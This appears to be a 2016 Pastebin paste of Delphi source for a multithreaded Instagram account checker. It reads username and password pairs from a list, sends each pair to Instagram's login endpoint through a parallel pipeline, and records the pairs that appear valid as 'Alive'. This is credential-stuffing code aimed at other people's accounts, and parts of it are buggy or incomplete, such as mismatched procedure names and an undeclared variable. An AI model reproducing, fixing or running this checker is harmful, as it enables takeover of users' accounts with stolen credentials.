Advertisement
Guest User

Untitled

a guest
Sep 12th, 2016
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. type
  2. procedure SetInProcess(const Value: Boolean);
  3. private
  4. FInProcess: Boolean;
  5. property inProcess: Boolean read FInProcess write SetInProcess;
  6. public
  7. procedure FlushData;
  8. procedure Retriever(const input: TOmniValue; var output: TOmniValue);
  9. ...
  10. procedure TForm1.SetInProcess(const Value: Boolean);
  11. var
  12. I: Integer;
  13. begin
  14. if Value = InProcess then exit;
  15. memo1.ReadOnly := Value;
  16. FInProcess := Value;
  17. if Value then
  18. Memo1.Lines.Clear;
  19. Timer1.Enabled := Value;
  20. If not Value then
  21. begin
  22. FlushData;
  23. pipeline := nil;
  24. end;
  25. end;
  26.  
  27. procedure TForm1.Timer1Timer(Sender: TObject);
  28. begin
  29. If not InProcess then exit;
  30. FlushData;
  31. if Pipeline.Output.IsFinalized then
  32. InProcess := False;
  33. end;
  34. procedure TForm1.StartButton(Sender: TObject);
  35. var
  36. i : integer;
  37. urlList : TStrings;
  38. U, S : string;
  39. value : TOmniValue;
  40. begin
  41. urlList := Memo2.Lines;
  42. pipeline := Parallel.Pipeline;
  43.  
  44. pipeline.Stage(Retriver).NumTasks(StrToInt(Edit12.Text)).Run;
  45.  
  46. for U in urlList do
  47. pipeline.Input.Add(U);
  48. pipeline.Input.CompleteAdding;
  49. inProcess := True;
  50. end;
  51. procedure TForm1.FlushData;
  52. var v: TOmniValue;
  53. begin
  54. if pipeline = nil then exit;
  55. if pipeline.Output = nil then exit;
  56.  
  57. Memo1.Lines.BeginUpdate;
  58. try
  59. while pipeline.Output.TryTake(v) do
  60. Memo1.Lines.Add(v.AsString);
  61.  
  62. Memo1.Lines.EndUpdate;
  63. except
  64. on E: Exception do
  65. begin
  66. Memo1.Lines.Add(E.Message);
  67. end;
  68. end;
  69. Memo1.Lines.EndUpdate;
  70. end;
  71.  
  72. procedure TForm1.Retriver(const input: TOmniValue; var output: TOmniValue);
  73. var
  74. lHTTP : TIdHTTP;
  75. Params : TStrings;
  76. Reply,String1,String2 : string;
  77. begin
  78. X := Input.AsString;
  79. Params := TStringList.Create;
  80. string1 := Extract1(X);
  81. string2 := Extract2(X);;
  82.  
  83. Params.Add('username=' + string1);
  84. Params.Add('password=' + string2);
  85.  
  86. lHTTP := TIdHTTP.Create(nil);
  87. try
  88. ...
  89. Reply := lHTTP.Post('https://www.instagram.com/accounts/login/ajax/', Params);
  90. if AnsiContainsStr(Reply, 'no')
  91. then
  92. begin
  93. Alive.Add(string1+string2+' Client ok'); ///Alive is Global Var stringlist created earlier
  94. end;
  95. except
  96. on E: EIdHTTPProtocolException do
  97. Exit
  98. end;
  99. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement